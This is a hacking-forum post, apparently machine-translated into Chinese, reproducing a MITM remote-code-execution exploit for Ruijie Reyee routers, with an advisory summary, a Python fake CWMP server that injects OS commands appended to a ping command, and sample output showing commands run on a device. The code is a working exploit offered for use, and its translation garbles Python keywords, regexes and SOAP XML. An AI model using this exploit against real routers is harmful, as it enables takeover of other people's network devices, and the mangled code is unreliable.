H

Ruijie Reyee网状路由器- MITM远程代码执行(RCE)

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%
#利用标题: Ruijie Reyee无线路由器固件版本B11P204 -MITM远程代码执行(RCE)
#Date: 2023年4月15日
#剥削作者:印度尼西亚塞莱伯
#供应商HomePage3360 https://ruijienetworks.com
#软件链接: https://www.ruijienetworks.com/SUPPORT/DOCUMENTS/SLIDE_EW1200G-PRO-FIRMWARE-B11P204
#版本: Reyeeos 1.204.1614; ew_3.0(1)B11P204,版本(10161400)
#测试在: Ruijie RG-EW1200,Ruijie RG-EW1200G Pro
'''
概括
========
Ruijie Reyee Cloud Web控制器允许用户使用诊断工具,该工具包括PING检查以确保与预期网络的连接,但是IP地址输入表单未正确验证,并允许用户执行OS命令注入。
另一方面,基于Ruijie Reyee云的设备将向Ruijie Reyee CWMP服务器进行轮询请求,以询问是否需要执行Web Controller的任何命令。分析了来自设备的网络捕获后,将请求汇总的连接与Ruijie Reyee CWMP服务器的汇总是未加密的HTTP请求。
由于基于Ruijie Reyee Cloud设备的未加密HTTP请求,攻击者可以使用Man-Middle(MITM)攻击制造假服务器,并发送任意命令在基于云的设备上执行,以使CWMP请求将CWMP请求发送到假服务器。
攻击者获得访问权限后,他们可以在系统或应用程序上执行任意命令,可能会损害敏感数据,安装恶意软件或控制系统。
该建议还发表在https://github.com/ruzfi/advisory/tree/main/ruijie-wireless-router-mitm-rce。
'''
#!/usr/bin/env Python3
# - * - 编码: UTF-8 - * -
从HTML Import Escape,Unescape
导入http.server
导入SocketServer
导入IO
进口时间
导入
导入argparse
导入GZIP
#命令有效载荷
命令='uname -a'
#将其更改为在其他端口上服务
端口=8080
DEF CWMP_INFORM(SOAP):
cwmp_id=re.search(r'(?cwmp:id。*?)(。
product_class=re.search(r'(?productClass。*?)(。
serial_number=re.search(r'(? serialnumber。*?)(。
结果={'cwmp_id': cwmp_id,'product_class': product_class,'serial_number': serial_number,'parameters': {}}}
参数=re.findall(r'(?p)(。*?)(? \/p)',soap)
对于参数中的参数:
parameter_name=re.search(r'(?n)(。*?)(? \/n),参数).group(1)
parameter_value=re.search(r'(?v)(。*?)(? \/v)',parameter).group(1)
结果['parameters'] [parameter_name]=parameter_value
返回结果
def cwmp_inform_response():
返回''?xml版本='1.0'encoding='utf-8'?
soap-env3:envelope xmlns:soap-env='3http://schemas.xmlsoap.org/soap/envelope/'xmlns:soap-enc='3http://SCHEMAS.XMLSOAP/SOAP/SOAP/suod/codod/cododing/' XMLNS:CWMP='URN:DSLFORUM-ORG:CWMP-1-0'XMLNS:XSD='3http://WWW.W.org/2001/xmlschema' XMLNS:XSI='http://www.w3.org/2001/XMLSCHEMA-INSTANCE'SOAP-ENV33333:HEADERCWMP:ID SOAP-ENV3: MusdunderStand='1'16/cwmp:IDCWMP:NOMOREREQUESTS1/CWMP3:NOMOREREQUESTS/SOAP-ENV3:HEADERSOAP-ENV33:BOD ycwmp:informresponsemaxenplovees1/maxenplowes/cwmp:informresponse/soap-env3:body/soap-env-env:envelope'''''''''
def command_payload(命令):
current_time=time.time()
结果='''?xml版本='1.0'编码='utf-8'?
soap-env3:envelope xmlns:soap-env='3http://schemas.xmlsoap.org/soap/envelope/'xmlns:soap-enc='3http://SCHEMAS.XMLSOAP/SOAP/SOAP/suod/codod/cododing/' XMLNS:CWMP='URN:DSLFORUM-ORG:CWMP-1-0'XMLNS:XSD='3http://WWW.W.org/2001/xmlschema' XMLNS:XSI='http://www.w3.org/2001/XMLSCHEMA-INSTANCE'SOAP-ENV:HEADERCWMP:ID soap-env:mustunderStand='1'ID:Intrnl.unset.id.x_ruijie_com_com_cn_cn_executeclicommand {cur_time}/cwmp3:idcwmp33:nomorerequest S1/CWMP:NOMOREREQUESTS/SOAP-ENV:HEADERSOAP-ENV:BODYCWM:X_RUIJIE_COM_CON_CN_EXECECUTECLICECLICOMMANDMODMODECONFIG/modeCommandlist SOAP-ENC:ARRAYTYPE='XSD:STRING [1]'命令{command}/command/commandlist/cwmp3:x_ruijieie_com_cn_executecleclicommand/soap-env333:body/soap-env33333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333:ENETE
返回结果
def Command_Response(SOAP):
cwmp_id=re.search(r'(?cwmp:id。*?)(。
命令=re.search(r'(? command)(。*?)(? \/命令)',soap).group(1)
响应=re.search(r'(? response)((\ n |。)*?)(? \/wendesp)',soap).group(1)
结果={'cwmp_id': cwmp_id,'命令':命令,'wendespy':响应}
返回结果
类CustomHttpRequestHandler(http.server.simplehttprequesthandler):
stolopt_version='http/1.1'
def do_get(self):
self.send_response(204)
self.end_headers()
def do_post(self):
打印('[*]被',self.client_address击中)
f=io.bytesio()
如果在self.path:中的“服务”
阶段,info=self.parse_stage()
如果stage=='cwmp_inform':
self.send_response(200)
打印('[!]获取设备信息',self.client_address)
打印('[*]产品class:',info ['product_class'])
打印('[*]序列号:',info ['serial_number'])
print('[*] mac adversion:',info ['parameters'] ['mac'])
打印('[*] Stun Client IP:',info ['parameters'] ['stunclientip'])
有效载荷=字节(cwmp_inform_response(),'utf-8')
F.Write(有效载荷)
self.send_header('content-Lengths',str(f.tell()))
elif stage=='command_request':
self.send_response(200)
self.send_header('set-cookie','jsessionId=6563DF85A6C6828915385C5C5CDCF4B5F5; path=/service; service; httponly')
打印('[*]设备互动',self.client_address)
打印(信息)
pareload=bytes(command_payload(easse('ping -c -c 4 127.0.0.1 {}}'。格式(command)),'utf -8')
F.Write(有效载荷)
self.send_header('content-Lengths',str(f.tell()))
其他:
打印('[*]命令响应',self.client_address)
打印(unescape(info ['响应']))
self.send_response(204)
F.Write(B'')
其他:
打印('[x]收到无效的请求',self.client_address)
self.send_response(204)
F.Write(B'')
F.Seek(0)
self.send_header('连接','keep-alive')
self.send_header('content-type','text/xml; charset=utf-8')
self.end_headers()
如果F:
self.copyfile(f,self.wfile)
f.close()
def parse_stage(self):
content_length=int(self.headers ['content-lengths'])
post_data=gzip.decompress(self.rfile.read(content_length))
if post_data.decode('utf-8'):中的'cwmp:inform'
return('cwmp_inform',cwmp_inform(post_data.decode('utf-8')))
Elif'cwmp:x_ruijie_com_com_cn_executeclicommandresponse'
return('command_response',command_response(post_data.decode('utf-8')))))))
其他:
返回('command_request','ping!')
def log_message(self,format, *args):
返回
如果name=='__ -Main __':
Parser=argparse.argumentparser()
parser.add_argument(' - bind','-b',default='',metavar='address',
help='指定替代绑定地址'
'[default:所有接口]')
parser.add_argument('port',action='store',
默认=端口,type=int,
nargs='?',
help='指定替代端口[default: {}]'。格式(port))
args=parser.parse_args()
Handler=CustomHttpRequestHandler
使用socketserver.tcpserver(((args.bind,args.port),handler)作为httpd:
ip_addr=args.bind如果args.bind!=''else'0.0.0.0'
{} : {}'。格式(ip_addr,args.port))print('[!]为伪造的CWMP服务器服务
TRY:
httpd.serve_forever()
除了键盘Interrupt:
经过
httpd.server_close()
'''
输出
=======
ubuntu:〜 $ python3 exploit.py
[!]在0.0.0.0.0:8080上为伪造的CWMP服务器提供服务
[*]被('[[Readacted]',[ReadAcceed])击中)
[!]获得了设备信息('[[已编辑]',[编辑])
[*]产品类: EW1200G-PRO
[*]序列号: [已编辑]
[*] MAC地址: [已编辑]
[*]眩晕客户端IP: [已编辑] : [删除]
[*]被('[[Readacted]',[ReadAcceed])击中)
[*]设备互动('[[Readacted]',[ReadActed])
p!
[*]被('[[Readacted]',[ReadAcceed])击中)
[*]命令响应('[[已编辑]',[已编辑])
PING 127.0.0.1(127.0.0.1): 56数据字节
64个字节来自127.0.0.1: seq=0 ttl=64 time=0.400 ms
64个字节,来自127.0.0.1: seq=1 ttl=64 time=0.320 ms
64个字节来自127.0.0.1: seq=2 ttl=64 time=0.320 ms
64个字节来自127.0.0.1: seq=3 ttl=64 time=0.300 ms
--- 127.0.0.1 ping统计---
4个传输数据包,4个数据包,0%的数据包丢失
往返最小/avg/max=0.300/0.335/0.400 ms
Linux Ruijie 3.10.108#1 SMP星期五APR 14 00:39:29 UTC 2023 MIPS GNU/Linux
'''
 
后退
顶部